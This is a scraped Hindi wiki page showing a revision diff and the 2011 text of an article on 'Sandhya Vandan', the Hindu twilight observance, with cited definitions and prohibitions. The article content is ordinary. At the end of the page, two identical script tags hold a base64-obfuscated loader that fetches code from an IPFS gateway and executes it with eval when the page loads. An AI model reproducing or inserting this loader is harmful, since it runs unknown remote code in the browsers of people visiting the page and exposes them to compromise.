एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

"संध्या वंदन" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "उल्लखित" to "उल्लिखित")
छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
पंक्ति 4: पंक्ति 4:
 
*इनमें<ref>हेमाद्रि (काल, 694-697); पुरुषार्थचिन्तामणि (46); बृहज्जातक (7|1)</ref> उत्पल ने [[वराह अवतार|वराह]] को उद्धृत करके लिखा है कि [[सूर्य देवता|सूर्य]] के क्षितिज के नीचे चले जाने तथा तारों के प्रकट होने तथा पूर्व में अर्धचन्द्र के प्रकाश होने तक की अवधि को संध्या कहते हैं।  
 
*इनमें<ref>हेमाद्रि (काल, 694-697); पुरुषार्थचिन्तामणि (46); बृहज्जातक (7|1)</ref> उत्पल ने [[वराह अवतार|वराह]] को उद्धृत करके लिखा है कि [[सूर्य देवता|सूर्य]] के क्षितिज के नीचे चले जाने तथा तारों के प्रकट होने तथा पूर्व में अर्धचन्द्र के प्रकाश होने तक की अवधि को संध्या कहते हैं।  
  
 +
{{संदर्भ ग्रंथ}}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>

09:02, 21 मार्च 2011 का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • सूर्योदय के पूर्व एवं सूर्यास्त के उपरान्त तीन घटिकाओं (72 मिनट) की अवधि को कहते हैं।
  • इस अवधि में निम्नलिखित चार कार्य नहीं किये जाने चाहिए– भोजन करना, सम्भोग करना, सोना एवं वेदाध्ययन।
  • इनमें[1] उत्पल ने वराह को उद्धृत करके लिखा है कि सूर्य के क्षितिज के नीचे चले जाने तथा तारों के प्रकट होने तथा पूर्व में अर्धचन्द्र के प्रकाश होने तक की अवधि को संध्या कहते हैं।


टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (काल, 694-697); पुरुषार्थचिन्तामणि (46); बृहज्जातक (7|1)

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>